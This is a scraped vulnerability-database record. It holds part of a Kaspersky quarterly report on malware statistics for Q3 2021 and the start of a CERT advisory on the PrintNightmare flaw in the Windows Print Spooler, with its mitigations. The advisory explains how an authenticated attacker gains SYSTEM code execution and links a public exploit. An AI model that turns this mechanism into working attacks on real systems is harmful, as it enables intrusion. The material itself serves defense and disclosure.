Trojan.Win32.Zbot | 17.7 \n2 | SpyEye | Trojan-Spy.Win32.SpyEye | 17.5 \n3 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 9.6 \n4 | Trickster | Trojan.Win32.Trickster | 4.5 \n5 | RTM | Trojan-Banker.Win32.RTM | 3.6 \n6 | Nimnul | Virus.Win32.Nimnul | 3.0 \n7 | Gozi | Trojan-Banker.Win32.Gozi | 2.7 \n8 | Danabot | Trojan-Banker.Win32.Danabot | 2.4 \n9 | Tinba | Trojan-Banker.Win32.Tinba | 1.5 \n10 | Cridex | Backdoor.Win32.Cridex | 1.3 \n \n_* Unique users who encountered this malware family as a percentage of all users attacked by financial malware._\n\nIn Q3, the family ZeuS/Zbot (17.7%), as usual, became the most widespread family of bankers. Next came the SpyEye (17.5%) family, whose share doubled from 8.8% in the previous quarter. The Top 3 was rounded out by the CliptoShuffler family (9.6%) \u2014 one position and just 0.3 p.p. down. The families Trojan-Banker.Win32.Gozi (2.7%) and Trojan-Banker.Win32.Tinba (1.5%) have made it back into the Top 10 in Q3 \u2014 seventh and ninth places, respectively.\n\n## Ransomware programs\n\n### Quarterly trends and highlights\n\n#### Attack on Kaseya and the REvil story\n\nIn early July, the group REvil/Sodinokibi [attempted an attack](<https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/>) on the remote administration software Kaseya VSA, compromising several managed services providers (MSP) who used this system. Thanks to this onslaught on the supply chain, the attackers were able to infect over one thousand of the compromised MSPs&#x27; client businesses. REvil&#x27;s original $70 million ransom demand in exchange for decryption of all the users hit by the attack was soon moderated to 50 million.\n\nFollowing this massive attack, law enforcement agencies stepped up their attention to REvil, so by mid-July the gang turned off their Trojan infrastructure, suspended new infections and dropped out of sight. Meanwhile, Kaseya got a universal decryptor for all those affected by the attack. [According to](<https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689-Important-Notice-August-4th-2021>) Kaseya, it &quot;did not pay a ransom \u2014 either directly or indirectly through a third party&quot;. Later [it emerged](<https://www.washingtonpost.com/national-security/ransomware-fbi-revil-decryption-key/2021/09/21/4a9417d0-f15f-11eb-a452-4da5fe48582d_story.html>) that the company got the decryptor and the key from the FBI.\n\nBut already in the first half of September, REvil was up and running again. [According to](<https://www.bleepingcomputer.com/news/security/revil-ransomware-is-back-in-full-attack-mode-and-leaking-data/>) the hacking forum XSS, the group&#x27;s former public representative known as UNKN &quot;disappeared&quot;, and the malware developers, failing to find him, waited awhile and restored the Trojan infrastructure from backups.\n\n#### The arrival of BlackMatter: DarkSide restored?\n\nAs we already wrote in our Q2 report, the group DarkSide folded its operations after their &quot;too high-profile&quot; attack on Colonial Pipeline. And now there is a &quot;new&quot; arrival known as BlackMatter, which, as its members [claim](<https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil>), represents the &quot;best&quot; of DarkSide, REvil and LockBit.\n\nFrom our analysis of the BlackMatter Trojan&#x27;s executable we conclude that most likely it was built using DarkSide&#x27;s source codes.\n\n#### Q3 closures\n\n * Europol and the Ukrainian police have [arrested](<https://www.europol.europa.eu/newsroom/news/ransomware-gang-arrested-in-ukraine-europol's-support>) two members of an unnamed ransomware gang. The only detail made known is that the ransom demands amounted to \u20ac5 to \u20ac70 million.\n * Following its attack on Washington DC&#x27;s Metropolitan Police Department, the group Babuk folded (or just suspended) its operations and published an archive containing the Trojan&#x27;s source code, build tools and keys for some of the victims.\n * At the end of August, Ragnarok (not to be confused with RagnarLocker) suddenly called it a day, deleted all their victims&#x27; info from their portal and published the master key for decryption. The group gave no reasons for this course of action.\n\n#### Exploitation of vulnerabilities and new attack methods\n\n * The group HelloKitty used to distribute its ransomware by exploiting the vulnerability CVE-2019-7481 in SonicWall gateways.\n * Magniber and Vice Society penetrated the target systems by exploiting the vulnerabilities from the PrintNightmare family (CVE-2021-1675, CVE-2021-34527, CVE-2021-36958).\n * The group LockFile exploited ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) to penetrate the victim&#x27;s network; for lateral expansion they relied on the new PetitPotam attack that gained control of the domain controller.\n * The group Conti also used ProxyShell exploits for its attacks.\n\n### Number of new ransomware modifications\n\nIn Q3 2021, we detected 11 new ransomware families and 2,486 new modifications of this malware type.\n\n_Number of new ransomware modifications, Q3 2020 \u2014 Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150433/03-en-ru-es-malware-report-q3-2021-pc-graphs.png>))_\n\n## Number of users attacked by ransomware Trojans\n\nIn Q3 2021, Kaspersky products and technologies protected 108,323 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150459/04-en-malware-report-q3-2021-pc-graphs.png>))_\n\n## Geography of ransomware attacks\n\n_Geography of attacks by ransomware Trojans, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150535/05-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries attacked by ransomware Trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 1.98 \n2 | Uzbekistan | 0.59 \n3 | Bolivia | 0.55 \n4 | Pakistan | 0.52 \n5 | Myanmar | 0.51 \n6 | China | 0.51 \n7 | Mozambique | 0.51 \n8 | Nepal | 0.48 \n9 | Indonesia | 0.47 \n10 | Egypt | 0.45 \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000). \n** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country._\n\n## Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | Stop/Djvu | Trojan-Ransom.Win32.Stop | 27.67% \n2 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 17.37% \n3 | WannaCry | Trojan-Ransom.Win32.Wanna | 11.84% \n4 | (generic verdict) | Trojan-Ransom.Win32.Gen | 7.78% \n5 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 5.58% \n6 | (generic verdict) | Trojan-Ransom.Win32.Phny | 5.57% \n7 | PolyRansom/VirLock | Virus.Win32.Polyransom / Trojan-Ransom.Win32.PolyRansom | 2.65% \n8 | (generic verdict) | Trojan-Ransom.Win32.Agent | 2.04% \n9 | (generic verdict) | Trojan-Ransom.MSIL.Encoder | 1.07% \n10 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 1.04% \n \n_* Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware._\n\n## Miners\n\n### Number of new miner modifications\n\nIn Q3 2021, Kaspersky solutions detected 46,097 new modifications of miners.\n\n_Number of new miner modifications, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150605/06-en-malware-report-q3-2021-pc-graphs.png>))_\n\n### Number of users attacked by miners\n\nIn Q3, we detected attacks using miners on the computers of 322,131 unique users of Kaspersky products worldwide. And while during Q2 the number of attacked users gradually decreased, the trend was reversed in July and August 2021. With slightly over 140,000 unique users attacked by miners in July, the number of potential victims almost reached 150,000 in September.\n\n_Number of unique users attacked by miners, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150635/07-en-malware-report-q3-2021-pc-graphs.png>))_\n\n### Geography of miner attacks\n\n_Geography of miner attacks, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150710/08-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Ethiopia | 2.41 \n2 | Rwanda | 2.26 \n3 | Myanmar | 2.22 \n4 | Uzbekistan | 1.61 \n5 | Ecuador | 1.47 \n6 | Pakistan | 1.43 \n7 | Tanzania | 1.40 \n8 | Mozambique | 1.34 \n9 | Kazakhstan | 1.34 \n10 | Azerbaijan | 1.27 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000). \n** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyberattacks\n\n### Quarter highlights\n\nMuch clamor was caused in Q3 by a whole new family of vulnerabilities in Microsoft Windows printing subsystem, one already known to the media as PrintNightmare: [CVE-2021-1640](<https://nvd.nist.gov/vuln/detail/CVE-2021-1640>), [CVE-2021-26878](<https://nvd.nist.gov/vuln/detail/CVE-2021-26878>), [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), [CVE-2021-36936](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36936>), [CVE-2021-36947](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36947>), [CVE-2021-34483](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34483>). All those vulnerabilities allow for local escalation of privileges or remote execution of commands with system rights and, as they require next to nothing for exploitation, they are often used by popular mass infection tools. To fix them, several Microsoft patches are required.\n\nThe vulnerability known as PetitPotam proved no less troublesome. It allows an unprivileged user to take control of a Windows domain computer \u2014 or even a domain controller \u2014 provided the Active Directory certificate service is present and active.\n\nIn the newest OS Windows 11, even before its official release, the vulnerability [CVE-2021-36934](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34483>) was detected and dubbed HiveNightmare/SeriousSam. It allows an unprivileged user to copy all the registry threads, including SAM, through the shadow copy mechanism, potentially exposing passwords and other critical data.\n\nIn Q3, attackers greatly favored exploits targeting the vulnerabilities ProxyToken, ProxyShell and ProxyOracle ([CVE-2021-31207](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>), [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>), [CVE-2021-33766](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33766>), [CVE-2021-31195](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195>), [CVE-2021-31196](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196>)). If exploited in combination, these open full control of mail servers managed by Microsoft Exchange Server. We already covered [similar vulnerabilities](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) \u2014 for instance, they were used in a HAFNIUM attack, also targeting Microsoft Exchange Server.\n\nAs before, server attacks relying on brute-forcing of passwords to various network services, such as MS SQL, RDP, etc., stand out among Q3 2021 network threats. Attacks using the exploits EternalBlue, EternalRomance and similar are as popular as ever. Among the new ones is the grim vulnerability enabling remote code execution when processing the Object-Graph Navigation Language in the product Atlassian Confluence Server ([CVE-2021-26084](<https://jira.atlassian.com/browse/CONFSERVER-67940>)) often used in various corporate environments. Also, Pulse Connect Secure was found to contain the vulnerability [CVE-2021-22937](<https://nvd.nist.gov/vuln/detail/CVE-2021-22937>), which however requires the administrator password for it to be exploited.\n\n### Statistics\n\nAs before, exploits for Microsoft Office vulnerabilities are still leading the pack in Q3 2021 (60,68%). These are popular due to the large body of users, most of whom still use older versions of the software, thus making the attackers&#x27; job much easier. The share of Microsoft Office exploits increased by almost 5 p.p. from the previous quarter. Among other things, it was due to the fact that the new vulnerability [CVE-2021-40444](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444>) was discovered in the wild, instantly employed to compromise user machines. The attacker can exploit it by using the standard functionality that allows office documents to download templates, implemented with the help of special ActiveX components. There is no proper validation of the processed data during the operation, so any malicious code can be downloaded. As you are reading this, the relevant security update is already available.\n\nThe way individual Microsoft Office vulnerabilities are ranked by the number of detections does not change much with time: the first positions are still shared by [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>) and [CVE-2017-8570](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>), with another popular vulnerability [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>) not far behind. We already covered these many times \u2014 all the above-mentioned vulnerabilities execute commands on behalf of the user and infect the system.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151038/09-en-malware-report-q3-2021-pc-graphs.png>))_\n\nThe share of exploits for the popular browsers fell by 3 p.p. from the previous reporting period to 25.57% in Q3. In the three months covered by the report several vulnerabilities were discovered in Google Chrome browser and its script engine V8 \u2014 some of them in the wild. Among these, the following JavaScript engine vulnerabilities stand out: [CVE-2021-30563](<https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html>) (type confusion error corrupting the heap memory), [CVE-2021-30632](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>) (out-of-bounds write in V8) and [CVE-2021-30633](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>) (use-after-free in Indexed DB). All these can potentially allow remote execution of code. But it should be remembered that for modern browsers a chain of several exploits is often required to leave the sandbox and secure broader privileges in the system. It should also be noted that with Google Chromium codebase (in particular the Blink component and V8) being used in many browsers, any newly detected Google Chrome vulnerability automatically makes other browsers built with its open codebase vulnerable.\n\nThe third place if held by Google Android vulnerabilities (5.36%) \u2014 1 p.p. down from the previous period. They are followed by exploits for Adobe Flash (3.41%), their share gradually decreasing. The platform is no longer supported but is still favored by users, which is reflected in our statistics.\n\nOur ranking is rounded out by vulnerabilities for Java (2.98%), its share also noticeably lower, and Adobe PDF (1.98%).\n\n## Attacks on macOS\n\nWe will remember Q3 2021 for the two interesting revelations. The first one is the use of [malware code targeting macOS](<https://securelist.com/wildpressure-targets-macos/103072/>) as part of the WildPressure campaign. The second is the detailed [review of the previously unknown FinSpy implants](<https://securelist.com/finspy-unseen-findings/104322/>) for macOS.\n\nSpeaking of the most widespread threats detected by Kaspersky security solutions for macOS, most of our Top 20 ranking positions are occupied by various adware apps. Among the noteworthy ones is Monitor.OSX.HistGrabber.b (second place on the list) \u2014 this potentially unwanted software sends user browser history to its owners&#x27; servers.\n\n**Top 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | AdWare.OSX.Pirrit.j | 13.22 \n2 | Monitor.OSX.HistGrabber.b | 11.19 \n3 | AdWare.OSX.Pirrit.ac | 10.31 \n4 | AdWare.OSX.Pirrit.o | 9.32 \n5 | AdWare.OSX.Bnodlero.at | 7.43 \n6 | Trojan-Downloader.OSX.Shlayer.a | 7.22 \n7 | AdWare.OSX.Pirrit.gen | 6.41 \n8 | AdWare.OSX.Cimpli.m | 6.29 \n9 | AdWare.OSX.Bnodlero.bg | 6.13 \n10 | AdWare.OSX.Pirrit.ae | 5.96 \n11 | AdWare.OSX.Agent.gen | 5.65 \n12 | AdWare.OSX.Pirrit.aa | 5.39 \n13 | Trojan-Downloader.OSX.Agent.h | 4.49 \n14 | AdWare.OSX.Bnodlero.ay | 4.18 \n15 | AdWare.OSX.Ketin.gen | 3.56 \n16 | AdWare.OSX.Ketin.h | 3.46 \n17 | Backdoor.OSX.Agent.z | 3.45 \n18 | Trojan-Downloader.OSX.Lador.a | 3.06 \n19 | AdWare.OSX.Bnodlero.t | 2.80 \n20 | AdWare.OSX.Bnodlero.ax | 2.64 \n \n_* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked._\n\n### Geography of threats for macOS\n\n_Geography of threats for macOS, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151108/10-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | France | 3.05 \n2 | Spain | 2.85 \n3 | India | 2.70 \n4 | Mexico | 2.59 \n5 | Canada | 2.52 \n6 | Italy | 2.42 \n7 | United States | 2.37 \n8 | Australia | 2.23 \n9 | Brazil | 2.21 \n10 | United Kingdom | 2.12 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000). \n** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nIn Q3 2021, France took the lead having the greatest percentage of attacks on users of Kaspersky security solutions (3.05%), with the potentially unwanted software Monitor.OSX.HistGrabber being the prevalent threat there. Spain and India came in second and third, with the Pirrit family adware as their prevalent threat.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q3 2021, most of the devices that attacked Kaspersky honeypots did so using the Telnet protocol. Just less than a quarter of all devices attempted brute-forcing our traps via SSH.\n\nTelnet | 76.55% \n---|--- \nSSH | 23.45% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q3 2021_\n\nThe statistics for working sessions with Kaspersky honeypots show similar Telnet dominance.\n\nTelnet | 84.29% \n---|--- \nSSH | 15.71% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q3 2021_\n\n**Top 10 threats delivered to IoT devices via Telnet**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 39.48 \n2 | Trojan-Downloader.Linux.NyaDrop.b | 20.67 \n3 | Backdoor.Linux.Agent.bc | 10.00 \n4 | Backdoor.Linux.Mirai.ba | 8.65 \n5 | Trojan-Downloader.Shell.Agent.p | 3.50 \n6 | Backdoor.Linux.Gafgyt.a | 2.52 \n7 | RiskTool.Linux.BitCoinMiner.b | 1.69 \n8 | Backdoor.Linux.Ssh.a | 1.23 \n9 | Backdoor.Linux.Mirai.ad | 1.20 \n10 | HackTool.Linux.Sshbru.s | 1.12 \n \n_* Share of each threat delivered to infected devices as a result of a successful Telnet attack out of the total number of delivered threats._\n\nDetailed IoT threat statistics are published in our Q3 2021 DDoS report: <https://securelist.com/ddos-attacks-in-q3-2021/104796/#attacks-on-iot-honeypots>\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose and web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that serve as sources of web-based attacks: Top 10\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites hosting malicious programs, botnet C&amp;C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographic source of web attacks, the GeoIP technique was used to match the domain name to the real IP address at which the domain is hosted._\n\nIn Q3 2021, Kaspersky solutions blocked 1,098,968,315 attacks launched from online resources located across the globe. Web Anti-Virus recognized 289,196,912 unique URLs as malicious.\n\n_Distribution of web-attack sources by country, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151328/13-en-malware-report-q3-2021-pc-graphs-1.png>))_\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| **Country*** | **% of attacked users**** \n---|---|--- \n1 | Tunisia | 27.15 \n2 | Syria | 17.19 \n3 | Yemen | 17.05 \n4 | Nepal | 15.27 \n5 | Algeria | 15.27 \n6 | Macao | 14.83 \n7 | Belarus | 14.50 \n8 | Moldova | 13.91 \n9 | Madagascar | 13.80 \n10 | Serbia | 13.48 \n11 | Libya | 13.13 \n12 | Mauritania | 13.06 \n13 | Mongolia | 13.06 \n14 | India | 12.89 \n15 | Palestine | 12.79 \n16 | Sri Lanka | 12.76 \n17 | Ukraine | 12.39 \n18 | Estonia | 11.61 \n19 | Tajikistan | 11.44 \n20 | Qatar | 11.14 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000). \n** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country._\n\n_These statistics are based on detection verdicts by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data._\n\nOn average during the quarter, 8.72% of computers of Internet users worldwide were subjected to at least one **Malware-class** web attack.\n\n_Geography of web-based malware attacks, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151358/14-en-malware-report-q3-2021-pc-graphs.png>))_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users&#x27; computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q3 2021, our File Anti-Virus detected **62,577,326** malicious and potentially unwanted objects.\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| **Country*** | **% of attacked users**** \n---|---|--- \n1 | Turkmenistan | 47.42 \n2 | Yemen | 44.27 \n3 | Ethiopia | 42.57 \n4 | Tajikistan | 42.51 \n5 | Uzbekistan | 40.41 \n6 | South Sudan | 40.15 \n7 | Afghanistan | 40.07 \n8 | Cuba | 38.20 \n9 | Bangladesh | 36.49 \n10 | Myanmar | 35.96 \n11 | Venezuela | 35.20 \n12 | China | 35.16 \n13 | Syria | 34.64 \n14 | Madagascar | 33.49 \n15 | Rwanda | 33.06 \n16 | Sudan | 33.01 \n17 | Benin | 32.68 \n18 | Burundi | 31.88 \n19 | Laos | 31.70 \n20 | Cameroon | 31.28 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000). \n** Unique users on whose computers **Malware-class** local threats were blocked, as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151433/15-en-malware-report-q3-2021-pc-graphs.png>))_\n\nOn average worldwide, **Malware-class** local threats were recorded on 15.14% of users&#x27; computers at least once during the quarter. Russia scored 14.64% in this rating.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-26T12:00:36", "type": "securelist", "title": "IT threat evolution in Q3 2021. PC statistics", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2017-8570", "CVE-2018-0802", "CVE-2019-7481", "CVE-2021-1640", "CVE-2021-1675", "CVE-2021-22937", "CVE-2021-26084", "CVE-2021-26878", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-31195", "CVE-2021-31196", "CVE-2021-31207", "CVE-2021-33766", "CVE-2021-34473", "CVE-2021-34483", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-36934", "CVE-2021-36936", "CVE-2021-36947", "CVE-2021-36958", "CVE-2021-40444"], "modified": "2021-11-26T12:00:36", "id": "SECURELIST:C540EBB7FD8B7FB9E54E119E88DB5C48", "href": "https://securelist.com/it-threat-evolution-in-q3-2021-pc-statistics/104982/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cert": [{"lastseen": "2021-09-28T17:49:55", "description": "### Overview\n\nThe Microsoft Windows Print Spooler service fails to restrict access to functionality that allows users to add printers and related drivers, which can allow a remote authenticated attacker to execute arbitrary code with SYSTEM privileges on a vulnerable system.\n\n### Description\n\nThe [RpcAddPrinterDriverEx()](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b>) function is used to install a printer driver on a system. One of the parameters to this function is the [DRIVER_CONTAINER](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/353ff796-6fb3-41cf-8b35-0022dd53d886>) object, which contains information about which driver is to be used by the added printer. The other argument, `dwFileCopyFlags`, specifies how replacement printer driver files are to be copied. An attacker can take advantage of the fact that any authenticated user can call `RpcAddPrinterDriverEx()` and specify a driver file that lives on a remote server. This results in the Print Spooler service `spoolsv.exe` executing code in an arbitrary DLL file with SYSTEM privileges.\n\nNote that while original exploit code relied on the `RpcAddPrinterDriverEx` to achieve code execution, [an updated version of the exploit](<https://github.com/cube0x0/CVE-2021-1675>) uses [RpcAsyncAddPrinterDriver](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/5d864e3e-5d8b-4337-89ce-cb0258ab97cd>) to achieve the same goal. Both of these functions achieve their functionality using [AddPrinterDriverEx](<https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex>).\n\nWhile Microsoft has released an [update for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), it is important to realize that this update does **NOT** protect against public exploits that may refer to `PrintNightmare` or CVE-2021-1675.\n\nOn July 1, Microsoft released [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). This bulletin states that CVE-2021-34527 is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in RpcAddPrinterDriverEx(). The attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update. \n\n### Impact\n\nBy sending a request to add a printer, e.g. by using `RpcAddPrinterDriverEx()` over SMB or `RpcAsyncAddPrinterDriver()` over RPC, a remote, authenticated attacker may be able to execute arbitrary code with SYSTEM privileges on a vulnerable system. A local unprivileged user may be able to execute arbitrary code with SYSTEM privileges as well. We have created a flowchart to indicate exploitability of PrintNightmare across various platform configurations:\n\n\n\n### Solution\n\n#### Apply an update\n\nMicrosoft has addressed this issue in the [updates for CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). Note that the Microsoft update for CVE-2021-34527 does not effectively prevent exploitation of systems where the [Point and Print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>) `NoWarningNoElevationOnInstall` is set to a non-`0` value. Microsoft indicates that systems that have `NoWarningNoElevationOnInstall` is set to a non-`0` value are **vulnerable by design.** For systems that do not have the CVE-2021-34527 installed, or have Point and Print configured insecurely, please consider the following workarounds:\n\n#### Apply a workaround\n\nMicrosoft has listed several workarounds in their [advisory for CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). Specifically:\n\n#### Microsoft Option 1 - Stop and disable the Print Spooler service\n\nThis vulnerability can be mitigated by stopping and disabling the Print Spooler service in Windows.\n\nIf disabling the Print Spooler service is appropriate for your enterprise, use the following PowerShell commands:\n\n`Stop-Service -Name Spooler -Force`\n\n`Set-Service -Name Spooler -StartupType Disabled`\n\n**Impact of workaround** Disabling the Print Spooler service disables the ability to print both locally and remotely.\n\n#### Microsoft Option 2 - Disable inbound remote printing through Group Policy\n\nDisable the \u201cAllow Print Spooler to accept client connections:\u201d policy to block remote attacks.\n\n**Impact of workaround** This policy will block the remote attack vector by preventing inbound remote printing operations. The system will no longer function as a print server, but local printing to a directly attached device will still be possible.\n\n**Note:** The Print Spooler service **must** be restarted for this workaround to be activated.\n\n#### Block RPC and SMB ports at the firewall\n\nLimited testing has shown that blocking both the RPC Endpoint Mapper (`135/tcp`) and SMB (`139/tcp` and `445/tcp`) incoming traffic at a host-based firewall level can prevent remote exploitation of this vulnerability. Note that blocking these ports on a Windows system may prevent expected capabilities from functioning properly, especially on a system that functions as a server.\n\n#### Enable security prompts for Point and Print\n\nEnsure that the Windows Point and Print Restrictions are set to `Show warning and elevation prompt` for both installing and updating drivers in the Windows Group Policy. Specifically the `HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint\\` key should have `NoWarningNoElevationOnInstall` and `UpdatePromptSettings` entries that are both set to `0`.\n\n#### Restrict printer driver installation ability to administrators\n\nAfter the Microsoft update for CVE-2021-34527 is installed, a registry value called `RestrictDriverInstallationToAdministrators` in the `HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint\\` key is checked, which is intended to restrict printer driver installation to only administrator users. Please see [KB5005010](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) for more details.\n\n### Acknowledgements\n\nThis issue was publicly disclosed by Zhiniang Peng and Xuefeng Li.\n\nThis document was written by Will Dormann.\n\n### Vendor Information\n\n383432\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Additional information available\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n### Microsoft __ Affected\n\nNotified: 2021-06-30 Updated: 2021-07-08 **CVE-2021-1675**| Affected \n---|--- \n**CVE-2021-34527**| Affected \n \n#### Vendor Statement\n\nWe have not received a statement from the 